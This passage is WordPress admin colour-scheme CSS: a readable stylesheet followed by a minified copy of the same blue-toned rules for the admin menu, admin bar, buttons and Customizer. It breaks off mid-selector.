#adminmenu a.wp-has-current-submenu:focus + .wp-submenu {
  background: #4796b3;
}

#adminmenu li.wp-has-submenu.wp-not-current-submenu.opensub:hover:after,
#adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after {
  border-right-color: #4796b3;
}

#adminmenu .wp-submenu .wp-submenu-head {
  color: #e2ecf1;
}

#adminmenu .wp-submenu a,
#adminmenu .wp-has-current-submenu .wp-submenu a,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu a,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu a {
  color: #e2ecf1;
}
#adminmenu .wp-submenu a:focus, #adminmenu .wp-submenu a:hover,
#adminmenu .wp-has-current-submenu .wp-submenu a:focus,
#adminmenu .wp-has-current-submenu .wp-submenu a:hover,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu a:focus,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu a:hover,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:focus,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:hover {
  color: #fff;
}

/* Admin Menu: current */
#adminmenu .wp-submenu li.current a,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a {
  color: #fff;
}
#adminmenu .wp-submenu li.current a:hover, #adminmenu .wp-submenu li.current a:focus,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a:hover,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a:focus,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:hover,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:focus {
  color: #fff;
}

ul#adminmenu a.wp-has-current-submenu:after,
ul#adminmenu > li.current > a.current:after {
  border-right-color: #f1f1f1;
}

#adminmenu li.current a.menu-top,
#adminmenu li.wp-has-current-submenu a.wp-has-current-submenu,
#adminmenu li.wp-has-current-submenu .wp-submenu .wp-submenu-head,
.folded #adminmenu li.current.menu-top {
  color: #fff;
  background: #096484;
}

#adminmenu li.wp-has-current-submenu div.wp-menu-image:before,
#adminmenu a.current:hover div.wp-menu-image:before,
#adminmenu li.current div.wp-menu-image:before,
#adminmenu li.wp-has-current-submenu a:focus div.wp-menu-image:before,
#adminmenu li.wp-has-current-submenu.opensub div.wp-menu-image:before,
#adminmenu li:hover div.wp-menu-image:before,
#adminmenu li a:focus div.wp-menu-image:before,
#adminmenu li.opensub div.wp-menu-image:before {
  color: #fff;
}

/* Admin Menu: bubble */
#adminmenu .menu-counter,
#adminmenu .awaiting-mod,
#adminmenu .update-plugins {
  color: #fff;
  background: #e1a948;
}

#adminmenu li.current a .awaiting-mod,
#adminmenu li a.wp-has-current-submenu .update-plugins,
#adminmenu li:hover a .awaiting-mod,
#adminmenu li.menu-top:hover > a .update-plugins {
  color: #fff;
  background: #4796b3;
}

/* Admin Menu: collapse button */
#collapse-button {
  color: #e5f8ff;
}

#collapse-button:hover,
#collapse-button:focus {
  color: #fff;
}

/* Admin Bar */
#wpadminbar {
  color: #fff;
  background: #52accc;
}

#wpadminbar .ab-item,
#wpadminbar a.ab-item,
#wpadminbar > #wp-toolbar span.ab-label,
#wpadminbar > #wp-toolbar span.noticon {
  color: #fff;
}

#wpadminbar .ab-icon,
#wpadminbar .ab-icon:before,
#wpadminbar .ab-item:before,
#wpadminbar .ab-item:after {
  color: #e5f8ff;
}

#wpadminbar:not(.mobile) .ab-top-menu > li:hover > .ab-item,
#wpadminbar:not(.mobile) .ab-top-menu > li > .ab-item:focus,
#wpadminbar.nojq .quicklinks .ab-top-menu > li > .ab-item:focus,
#wpadminbar.nojs .ab-top-menu > li.menupop:hover > .ab-item,
#wpadminbar .ab-top-menu > li.menupop.hover > .ab-item {
  color: #fff;
  background: #4796b3;
}

#wpadminbar:not(.mobile) > #wp-toolbar li:hover span.ab-label,
#wpadminbar:not(.mobile) > #wp-toolbar li.hover span.ab-label,
#wpadminbar:not(.mobile) > #wp-toolbar a:focus span.ab-label {
  color: #fff;
}

#wpadminbar:not(.mobile) li:hover .ab-icon:before,
#wpadminbar:not(.mobile) li:hover .ab-item:before,
#wpadminbar:not(.mobile) li:hover .ab-item:after,
#wpadminbar:not(.mobile) li:hover #adminbarsearch:before {
  color: #fff;
}

/* Admin Bar: submenu */
#wpadminbar .menupop .ab-sub-wrapper {
  background: #4796b3;
}

#wpadminbar .quicklinks .menupop ul.ab-sub-secondary,
#wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu {
  background: #74b6ce;
}

#wpadminbar .ab-submenu .ab-item,
#wpadminbar .quicklinks .menupop ul li a,
#wpadminbar .quicklinks .menupop.hover ul li a,
#wpadminbar.nojs .quicklinks .menupop:hover ul li a {
  color: #e2ecf1;
}

#wpadminbar .quicklinks li .blavatar,
#wpadminbar .menupop .menupop > .ab-item:before {
  color: #e5f8ff;
}

#wpadminbar .quicklinks .menupop ul li a:hover,
#wpadminbar .quicklinks .menupop ul li a:focus,
#wpadminbar .quicklinks .menupop ul li a:hover strong,
#wpadminbar .quicklinks .menupop ul li a:focus strong,
#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a,
#wpadminbar .quicklinks .menupop.hover ul li a:hover,
#wpadminbar .quicklinks .menupop.hover ul li a:focus,
#wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover,
#wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus,
#wpadminbar li:hover .ab-icon:before,
#wpadminbar li:hover .ab-item:before,
#wpadminbar li a:focus .ab-icon:before,
#wpadminbar li .ab-item:focus:before,
#wpadminbar li .ab-item:focus .ab-icon:before,
#wpadminbar li.hover .ab-icon:before,
#wpadminbar li.hover .ab-item:before,
#wpadminbar li:hover #adminbarsearch:before,
#wpadminbar li #adminbarsearch.adminbar-focused:before {
  color: #fff;
}

#wpadminbar .quicklinks li a:hover .blavatar,
#wpadminbar .quicklinks li a:focus .blavatar,
#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a .blavatar,
#wpadminbar .menupop .menupop > .ab-item:hover:before,
#wpadminbar.mobile .quicklinks .ab-icon:before,
#wpadminbar.mobile .quicklinks .ab-item:before {
  color: #fff;
}

#wpadminbar.mobile .quicklinks .hover .ab-icon:before,
#wpadminbar.mobile .quicklinks .hover .ab-item:before {
  color: #e5f8ff;
}

/* Admin Bar: search */
#wpadminbar #adminbarsearch:before {
  color: #e5f8ff;
}

#wpadminbar > #wp-toolbar > #wp-admin-bar-top-secondary > #wp-admin-bar-search #adminbarsearch input.adminbar-input:focus {
  color: #fff;
  background: #6eb9d4;
}

/* Admin Bar: recovery mode */
#wpadminbar #wp-admin-bar-recovery-mode {
  color: #fff;
  background-color: #e1a948;
}

#wpadminbar #wp-admin-bar-recovery-mode .ab-item,
#wpadminbar #wp-admin-bar-recovery-mode a.ab-item {
  color: #fff;
}

#wpadminbar .ab-top-menu > #wp-admin-bar-recovery-mode.hover > .ab-item,
#wpadminbar.nojq .quicklinks .ab-top-menu > #wp-admin-bar-recovery-mode > .ab-item:focus,
#wpadminbar:not(.mobile) .ab-top-menu > #wp-admin-bar-recovery-mode:hover > .ab-item,
#wpadminbar:not(.mobile) .ab-top-menu > #wp-admin-bar-recovery-mode > .ab-item:focus {
  color: #fff;
  background-color: #cb9841;
}

/* Admin Bar: my account */
#wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar > a img {
  border-color: #6eb9d4;
  background-color: #6eb9d4;
}

#wpadminbar #wp-admin-bar-user-info .display-name {
  color: #fff;
}

#wpadminbar #wp-admin-bar-user-info a:hover .display-name {
  color: #fff;
}

#wpadminbar #wp-admin-bar-user-info .username {
  color: #e2ecf1;
}

/* Pointers */
.wp-pointer .wp-pointer-content h3 {
  background-color: #096484;
  border-color: #07526c;
}

.wp-pointer .wp-pointer-content h3:before {
  color: #096484;
}

.wp-pointer.wp-pointer-top .wp-pointer-arrow,
.wp-pointer.wp-pointer-top .wp-pointer-arrow-inner,
.wp-pointer.wp-pointer-undefined .wp-pointer-arrow,
.wp-pointer.wp-pointer-undefined .wp-pointer-arrow-inner {
  border-bottom-color: #096484;
}

/* Media */
.media-item .bar,
.media-progress-bar div {
  background-color: #096484;
}

.details.attachment {
  box-shadow: inset 0 0 0 3px #fff, inset 0 0 0 7px #096484;
}

.attachment.details .check {
  background-color: #096484;
  box-shadow: 0 0 0 1px #fff, 0 0 0 2px #096484;
}

.media-selection .attachment.selection.details .thumbnail {
  box-shadow: 0 0 0 1px #fff, 0 0 0 3px #096484;
}

/* Themes */
.theme-browser .theme.active .theme-name,
.theme-browser .theme.add-new-theme a:hover:after,
.theme-browser .theme.add-new-theme a:focus:after {
  background: #096484;
}

.theme-browser .theme.add-new-theme a:hover span:after,
.theme-browser .theme.add-new-theme a:focus span:after {
  color: #096484;
}

.theme-section.current,
.theme-filter.current {
  border-bottom-color: #52accc;
}

body.more-filters-opened .more-filters {
  color: #fff;
  background-color: #52accc;
}

body.more-filters-opened .more-filters:before {
  color: #fff;
}

body.more-filters-opened .more-filters:hover,
body.more-filters-opened .more-filters:focus {
  background-color: #096484;
  color: #fff;
}

body.more-filters-opened .more-filters:hover:before,
body.more-filters-opened .more-filters:focus:before {
  color: #fff;
}

/* Widgets */
.widgets-chooser li.widgets-chooser-selected {
  background-color: #096484;
  color: #fff;
}

.widgets-chooser li.widgets-chooser-selected:before,
.widgets-chooser li.widgets-chooser-selected:focus:before {
  color: #fff;
}

/* Nav Menus */
.nav-menus-php .item-edit:focus:before {
  box-shadow: 0 0 0 1px #e8be74, 0 0 2px 1px #e1a948;
}

/* Responsive Component */
div#wp-responsive-toggle a:before {
  color: #e5f8ff;
}

.wp-responsive-open div#wp-responsive-toggle a {
  border-color: transparent;
  background: #096484;
}

.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle a {
  background: #4796b3;
}

.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before {
  color: #e5f8ff;
}

/* TinyMCE */
.mce-container.mce-menu .mce-menu-item:hover,
.mce-container.mce-menu .mce-menu-item.mce-selected,
.mce-container.mce-menu .mce-menu-item:focus,
.mce-container.mce-menu .mce-menu-item-normal.mce-active,
.mce-container.mce-menu .mce-menu-item-preview.mce-active {
  background: #096484;
}

/* Customizer */
.wp-core-ui #customize-controls .control-section:hover > .accordion-section-title,
.wp-core-ui #customize-controls .control-section .accordion-section-title:hover,
.wp-core-ui #customize-controls .control-section.open .accordion-section-title,
.wp-core-ui #customize-controls .control-section .accordion-section-title:focus {
  color: #0073aa;
  border-left-color: #e1a948;
}
.wp-core-ui .customize-controls-close:focus,
.wp-core-ui .customize-controls-close:hover,
.wp-core-ui .customize-controls-preview-toggle:focus,
.wp-core-ui .customize-controls-preview-toggle:hover {
  color: #0073aa;
  border-top-color: #e1a948;
}
.wp-core-ui .customize-panel-back:hover,
.wp-core-ui .customize-panel-back:focus,
.wp-core-ui .customize-section-back:hover,
.wp-core-ui .customize-section-back:focus {
  color: #0073aa;
  border-left-color: #e1a948;
}
.wp-core-ui .customize-screen-options-toggle:hover,
.wp-core-ui .customize-screen-options-toggle:active,
.wp-core-ui .customize-screen-options-toggle:focus,
.wp-core-ui .active-menu-screen-options .customize-screen-options-toggle,
.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:hover,
.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:active,
.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:focus {
  color: #0073aa;
}
.wp-core-ui .customize-screen-options-toggle:focus:before,
.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus:before, .wp-core-ui.wp-customizer button:focus .toggle-indicator:before,
.wp-core-ui .menu-item-bar .item-delete:focus:before,
.wp-core-ui #available-menu-items .item-add:focus:before,
.wp-core-ui #customize-save-button-wrapper .save:focus,
.wp-core-ui #publish-settings:focus {
  box-shadow: 0 0 0 1px #e8be74, 0 0 2px 1px #e1a948;
}
.wp-core-ui #customize-controls .customize-info.open .customize-help-toggle,
.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus,
.wp-core-ui #customize-controls .customize-info .customize-help-toggle:hover {
  color: #0073aa;
}
.wp-core-ui .control-panel-themes .customize-themes-section-title:focus,
.wp-core-ui .control-panel-themes .customize-themes-section-title:hover {
  border-left-color: #e1a948;
  color: #0073aa;
}
.wp-core-ui .control-panel-themes .theme-section .customize-themes-section-title.selected:after {
  background: #e1a948;
}
.wp-core-ui .control-panel-themes .customize-themes-section-title.selected {
  color: #0073aa;
}
.wp-core-ui #customize-theme-controls .control-section:hover > .accordion-section-title:after,
.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:hover:after,
.wp-core-ui #customize-theme-controls .control-section.open .accordion-section-title:after,
.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:focus:after,
.wp-core-ui #customize-outer-theme-controls .control-section:hover > .accordion-section-title:after,
.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:hover:after,
.wp-core-ui #customize-outer-theme-controls .control-section.open .accordion-section-title:after,
.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:focus:after {
  color: #0073aa;
}
.wp-core-ui .customize-control .attachment-media-view .button-add-media:focus {
  background-color: #fbfbfc;
  border-color: #e1a948;
  border-style: solid;
  box-shadow: 0 0 0 1px #e1a948;
  outline: 2px solid transparent;
}
.wp-core-ui .wp-full-overlay-footer .devices button:focus,
.wp-core-ui .wp-full-overlay-footer .devices button.active:hover {
  border-bottom-color: #e1a948;
}
.wp-core-ui .wp-full-overlay-footer .devices button:hover:before,
.wp-core-ui .wp-full-overlay-footer .devices button:focus:before {
  color: #e1a948;
}
.wp-core-ui .wp-full-overlay .collapse-sidebar:hover,
.wp-core-ui .wp-full-overlay .collapse-sidebar:focus {
  color: #e1a948;
}
.wp-core-ui .wp-full-overlay .collapse-sidebar:hover .collapse-sidebar-arrow,
.wp-core-ui .wp-full-overlay .collapse-sidebar:focus .collapse-sidebar-arrow {
  box-shadow: 0 0 0 1px #e8be74, 0 0 2px 1px #e1a948;
}
.wp-core-ui.wp-customizer .theme-overlay .theme-header .close:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .close:hover, .wp-core-ui.wp-customizer .theme-overlay .theme-header .right:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .right:hover, .wp-core-ui.wp-customizer .theme-overlay .theme-header .left:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .left:hover {
  border-bottom-color: #e1a948;
  color: #0073aa;
}/*! This file is auto-generated */
body{background:#f1f1f1}a{color:#0073aa}a:active,a:focus,a:hover{color:#0096dd}#post-body #visibility:before,#post-body .misc-pub-post-status:before,#post-body .misc-pub-revisions:before,.curtime #timestamp:before,span.wp-media-buttons-icon:before{color:currentColor}.wp-core-ui .button-link{color:#0073aa}.wp-core-ui .button-link:active,.wp-core-ui .button-link:focus,.wp-core-ui .button-link:hover{color:#0096dd}.media-modal .delete-attachment,.media-modal .trash-attachment,.media-modal .untrash-attachment,.wp-core-ui .button-link-delete{color:#a00}.media-modal .delete-attachment:focus,.media-modal .delete-attachment:hover,.media-modal .trash-attachment:focus,.media-modal .trash-attachment:hover,.media-modal .untrash-attachment:focus,.media-modal .untrash-attachment:hover,.wp-core-ui .button-link-delete:focus,.wp-core-ui .button-link-delete:hover{color:#dc3232}input[type=checkbox]:checked::before{content:url("data:image/svg+xml;utf8,%3Csvg%20xmlns%3D%27http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%27%20viewBox%3D%270%200%2020%2020%27%3E%3Cpath%20d%3D%27M14.83%204.89l1.34.94-5.81%208.38H9.02L5.78%209.67l1.34-1.25%202.57%202.4z%27%20fill%3D%27%237e8993%27%2F%3E%3C%2Fsvg%3E")}input[type=radio]:checked::before{background:#7e8993}.wp-core-ui input[type=reset]:active,.wp-core-ui input[type=reset]:hover{color:#0096dd}input[type=checkbox]:focus,input[type=color]:focus,input[type=date]:focus,input[type=datetime-local]:focus,input[type=datetime]:focus,input[type=email]:focus,input[type=month]:focus,input[type=number]:focus,input[type=password]:focus,input[type=radio]:focus,input[type=search]:focus,input[type=tel]:focus,input[type=text]:focus,input[type=time]:focus,input[type=url]:focus,input[type=week]:focus,select:focus,textarea:focus{border-color:#096484;box-shadow:0 0 0 1px #096484}.wp-core-ui .button{border-color:#7e8993;color:#32373c}.wp-core-ui .button.focus,.wp-core-ui .button.hover,.wp-core-ui .button:focus,.wp-core-ui .button:hover{border-color:#717c87;color:#262a2e}.wp-core-ui .button.focus,.wp-core-ui .button:focus{border-color:#7e8993;color:#262a2e;box-shadow:0 0 0 1px #32373c}.wp-core-ui .button:active{border-color:#7e8993;color:#262a2e;box-shadow:none}.wp-core-ui .button.active,.wp-core-ui .button.active:focus,.wp-core-ui .button.active:hover{border-color:#e1a948;color:#262a2e;box-shadow:inset 0 2px 5px -3px #e1a948}.wp-core-ui .button.active:focus{box-shadow:0 0 0 1px #32373c}.wp-core-ui .button,.wp-core-ui .button-secondary{color:#096484;border-color:#096484}.wp-core-ui .button-secondary:hover,.wp-core-ui .button.hover,.wp-core-ui .button:hover{border-color:#064054;color:#064054}.wp-core-ui .button-secondary:focus,.wp-core-ui .button.focus,.wp-core-ui .button:focus{border-color:#0c88b4;color:#021c25;box-shadow:0 0 0 1px #0c88b4}.wp-core-ui .button-primary:hover{color:#fff}.wp-core-ui .button-primary{background:#e1a948;border-color:#e1a948;color:#fff}.wp-core-ui .button-primary:focus,.wp-core-ui .button-primary:hover{background:#e3af55;border-color:#dfa33b;color:#fff}.wp-core-ui .button-primary:focus{box-shadow:0 0 0 1px #fff,0 0 0 3px #e1a948}.wp-core-ui .button-primary:active{background:#dd9f32;border-color:#dd9f32;color:#fff}.wp-core-ui .button-primary.active,.wp-core-ui .button-primary.active:focus,.wp-core-ui .button-primary.active:hover{background:#e1a948;color:#fff;border-color:#bd831f;box-shadow:inset 0 2px 5px -3px #241906}.wp-core-ui .button-group>.button.active{border-color:#e1a948}.wp-core-ui .wp-ui-primary{color:#fff;background-color:#52accc}.wp-core-ui .wp-ui-text-primary{color:#52accc}.wp-core-ui .wp-ui-highlight{color:#fff;background-color:#096484}.wp-core-ui .wp-ui-text-highlight{color:#096484}.wp-core-ui .wp-ui-notification{color:#fff;background-color:#e1a948}.wp-core-ui .wp-ui-text-notification{color:#e1a948}.wp-core-ui .wp-ui-text-icon{color:#e5f8ff}.wrap .page-title-action,.wrap .page-title-action:active{border:1px solid #096484;color:#096484}.wrap .page-title-action:hover{color:#064054;border-color:#064054}.wrap .page-title-action:focus{border-color:#0c88b4;color:#021c25;box-shadow:0 0 0 1px #0c88b4}.view-switch a.current:before{color:#52accc}.view-switch a:hover:before{color:#e1a948}#adminmenu,#adminmenuback,#adminmenuwrap{background:#52accc}#adminmenu a{color:#fff}#adminmenu div.wp-menu-image:before{color:#e5f8ff}#adminmenu a:hover,#adminmenu li.menu-top:hover,#adminmenu li.opensub>a.menu-top,#adminmenu li>a.menu-top:focus{color:#fff;background-color:#096484}#adminmenu li.menu-top:hover div.wp-menu-image:before,#adminmenu li.opensub>a.menu-top div.wp-menu-image:before{color:#fff}.about-wrap .nav-tab-active,.nav-tab-active,.nav-tab-active:hover{background-color:#f1f1f1;border-bottom-color:#f1f1f1}#adminmenu .wp-has-current-submenu .wp-submenu,#adminmenu .wp-has-current-submenu.opensub .wp-submenu,#adminmenu .wp-submenu,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu{background:#4796b3}#adminmenu li.wp-has-submenu.wp-not-current-submenu.opensub:hover:after,#adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after{border-right-color:#4796b3}#adminmenu .wp-submenu .wp-submenu-head{color:#e2ecf1}#adminmenu .wp-has-current-submenu .wp-submenu a,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a,#adminmenu .wp-submenu a,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a{color:#e2ecf1}#adminmenu .wp-has-current-submenu .wp-submenu a:focus,#adminmenu .wp-has-current-submenu .wp-submenu a:hover,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:focus,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:hover,#adminmenu .wp-submenu a:focus,#adminmenu .wp-submenu a:hover,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a:focus,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a:hover{color:#fff}#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a,#adminmenu .wp-submenu li.current a,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a{color:#fff}#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:focus,#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:hover,#adminmenu .wp-submenu li.current a:focus,#adminmenu .wp-submenu li.current a:hover,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a:focus,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a:hover{color:#fff}ul#adminmenu a.wp-has-current-submenu:after,ul#adminmenu>li.current>a.current:after{border-right-color:#f1f1f1}#adminmenu li.current a.menu-top,#adminmenu li.wp-has-current-submenu .wp-submenu .wp-submenu-head,#adminmenu li.wp-has-current-submenu a.wp-has-current-submenu,.folded #adminmenu li.current.menu-top{color:#fff;background:#096484}#adminmenu a.current:hover div.wp-menu-image:before,#adminmenu li a:focus div.wp-menu-image:before,#adminmenu li.current div.wp-menu-image:before,#adminmenu li.opensub div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu a:focus div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu.opensub div.wp-menu-image:before,#adminmenu li:hover div.wp-menu-image:before{color:#fff}#adminmenu .awaiting-mod,#adminmenu .menu-counter,#adminmenu .update-plugins{color:#fff;background:#e1a948}#adminmenu li a.wp-has-current-submenu .update-plugins,#adminmenu li.current a .awaiting-mod,#adminmenu li.menu-top:hover>a .update-plugins,#adminmenu li:hover a .awaiting-mod{color:#fff;background:#4796b3}#collapse-button{color:#e5f8ff}#collapse-button:focus,#collapse-button:hover{color:#fff}#wpadminbar{color:#fff;background:#52accc}#wpadminbar .ab-item,#wpadminbar a.ab-item,#wpadminbar>#wp-toolbar span.ab-label,#wpadminbar>#wp-toolbar span.noticon{color:#fff}#wpadminbar .ab-icon,#wpadminbar .ab-icon:before,#wpadminbar .ab-item:after,#wpadminbar .ab-item:before{color:#e5f8ff}#wpadminbar .ab-top-menu>li.menupop.hover>.ab-item,#wpadminbar.nojq .quicklinks .ab-top-menu>li>.ab-item:focus,#wpadminbar.nojs .ab-top-menu>li.menupop:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>li:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>li>.ab-item:focus{color:#fff;background:#4796b3}#wpadminbar:not(.mobile)>#wp-toolbar a:focus span.ab-label,#wpadminbar:not(.mobile)>#wp-toolbar li.hover span.ab-label,#wpadminbar:not(.mobile)>#wp-toolbar li:hover span.ab-label{color:#fff}#wpadminbar:not(.mobile) li:hover #adminbarsearch:before,#wpadminbar:not(.mobile) li:hover .ab-icon:before,#wpadminbar:not(.mobile) li:hover .ab-item:after,#wpadminbar:not(.mobile) li:hover .ab-item:before{color:#fff}#wpadminbar .menupop .ab-sub-wrapper{background:#4796b3}#wpadminbar .quicklinks .menupop ul.ab-sub-secondary,#wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu{background:#74b6ce}#wpadminbar .ab-submenu .ab-item,#wpadminbar .quicklinks .menupop ul li a,#wpadminbar .quicklinks .menupop.hover ul li a,#wpadminbar.nojs .quicklinks .menupop:hover ul li a{color:#e2ecf1}#wpadminbar .menupop .menupop>.ab-item:before,#wpadminbar .quicklinks li .blavatar{color:#e5f8ff}#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover>a,#wpadminbar .quicklinks .menupop ul li a:focus,#wpadminbar .quicklinks .menupop ul li a:focus strong,#wpadminbar .quicklinks .menupop ul li a:hover,#wpadminbar .quicklinks .menupop ul li a:hover strong,#wpadminbar .quicklinks .menupop.hover ul li a:focus,#wpadminbar .quicklinks .menupop.hover ul li a:hover,#wpadminbar li #adminbarsearch.adminbar-focused:before,#wpadminbar li .ab-item:focus .ab-icon:before,#wpadminbar li .ab-item:focus:before,#wpadminbar li a:focus .ab-icon:before,#wpadminbar li.hover .ab-icon:before,#wpadminbar li.hover .ab-item:before,#wpadminbar li:hover #adminbarsearch:before,#wpadminbar li:hover .ab-icon:before,#wpadminbar li:hover .ab-item:before,#wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus,#wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover{color:#fff}#wpadminbar .menupop .menupop>.ab-item:hover:before,#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover>a .blavatar,#wpadminbar .quicklinks li a:focus .blavatar,#wpadminbar .quicklinks li a:hover .blavatar,#wpadminbar.mobile .quicklinks .ab-icon:before,#wpadminbar.mobile .quicklinks .ab-item:before{color:#fff}#wpadminbar.mobile .quicklinks .hover .ab-icon:before,#wpadminbar.mobile .quicklinks .hover .ab-item:before{color:#e5f8ff}#wpadminbar #adminbarsearch:before{color:#e5f8ff}#wpadminbar>#wp-toolbar>#wp-admin-bar-top-secondary>#wp-admin-bar-search #adminbarsearch input.adminbar-input:focus{color:#fff;background:#6eb9d4}#wpadminbar #wp-admin-bar-recovery-mode{color:#fff;background-color:#e1a948}#wpadminbar #wp-admin-bar-recovery-mode .ab-item,#wpadminbar #wp-admin-bar-recovery-mode a.ab-item{color:#fff}#wpadminbar .ab-top-menu>#wp-admin-bar-recovery-mode.hover>.ab-item,#wpadminbar.nojq .quicklinks .ab-top-menu>#wp-admin-bar-recovery-mode>.ab-item:focus,#wpadminbar:not(.mobile) .ab-top-menu>#wp-admin-bar-recovery-mode:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>#wp-admin-bar-recovery-mode>.ab-item:focus{color:#fff;background-color:#cb9841}#wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar>a img{border-color:#6eb9d4;background-color:#6eb9d4}#wpadminbar #wp-admin-bar-user-info .display-name{color:#fff}#wpadminbar #wp-admin-bar-user-info a:hover .display-name{color:#fff}#wpadminbar #wp-admin-bar-user-info .username{color:#e2ecf1}.wp-pointer .wp-pointer-content h3{background-color:#096484;border-color:#07526c}.wp-pointer .wp-pointer-content h3:before{color:#096484}.wp-pointer.wp-pointer-top .wp-pointer-arrow,.wp-pointer.wp-pointer-top .wp-pointer-arrow-inner,.wp-pointer.wp-pointer-undefined .wp-pointer-arrow,.wp-pointer.wp-pointer-undefined .wp-pointer-arrow-inner{border-bottom-color:#096484}.media-item .bar,.media-progress-bar div{background-color:#096484}.details.attachment{box-shadow:inset 0 0 0 3px #fff,inset 0 0 0 7px #096484}.attachment.details .check{background-color:#096484;box-shadow:0 0 0 1px #fff,0 0 0 2px #096484}.media-selection .attachment.selection.details .thumbnail{box-shadow:0 0 0 1px #fff,0 0 0 3px #096484}.theme-browser .theme.active .theme-name,.theme-browser .theme.add-new-theme a:focus:after,.theme-browser .theme.add-new-theme a:hover:after{background:#096484}.theme-browser .theme.add-new-theme a:focus span:after,.theme-browser .theme.add-new-theme a:hover span:after{color:#096484}.theme-filter.current,.theme-section.current{border-bottom-color:#52accc}body.more-filters-opened .more-filters{color:#fff;background-color:#52accc}body.more-filters-opened .more-filters:before{color:#fff}body.more-filters-opened .more-filters:focus,body.more-filters-opened .more-filters:hover{background-color:#096484;color:#fff}body.more-filters-opened .more-filters:focus:before,body.more-filters-opened .more-filters:hover:before{color:#fff}.widgets-chooser li.widgets-chooser-selected{background-color:#096484;color:#fff}.widgets-chooser li.widgets-chooser-selected:before,.widgets-chooser li.widgets-chooser-selected:focus:before{color:#fff}.nav-menus-php .item-edit:focus:before{box-shadow:0 0 0 1px #e8be74,0 0 2px 1px #e1a948}div#wp-responsive-toggle a:before{color:#e5f8ff}.wp-responsive-open div#wp-responsive-toggle a{border-color:transparent;background:#096484}.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle a{background:#4796b3}.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before{color:#e5f8ff}.mce-container.mce-menu .mce-menu-item-normal.mce-active,.mce-container.mce-menu .mce-menu-item-preview.mce-active,.mce-container.mce-menu .mce-menu-item.mce-selected,.mce-container.mce-menu .mce-menu-item:focus,.mce-container.mce-menu .mce-menu-item:hover{background:#096484}.wp-core-ui #customize-controls .control-section .accordion-section-title:focus,.wp-core-ui #customize-controls .control-section .accordion-section-title:hover,.wp-core-ui #customize-controls .control-section.open .accordion-section-title,.wp-core-ui #customize-controls .control-section:hover>.accordion-section-title{color:#0073aa;border-left-color:#e1a948}.wp-core-ui .customize-controls-close:focus,.wp-core-ui .customize-controls-close:hover,.wp-core-ui .customize-controls-preview-toggle:focus,.wp-core-ui .customize-controls-preview-toggle:hover{color:#0073aa;border-top-color:#e1a948}.wp-core-ui .customize-panel-back:focus,.wp-core-ui .customize-panel-back:hover,.wp-core-ui .customize-section-back:focus,.wp-core-ui .customize-section-back:hover{color:#0073aa;border-left-color:#e1a948}.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:active,.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:focus,.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:hover,.wp-core-ui .active-menu-screen-options .customize-screen-options-toggle,.wp-core-ui .customize-screen-options-toggle:active,.wp-core-ui .customize-screen-options-toggle:focus,.wp-core-ui 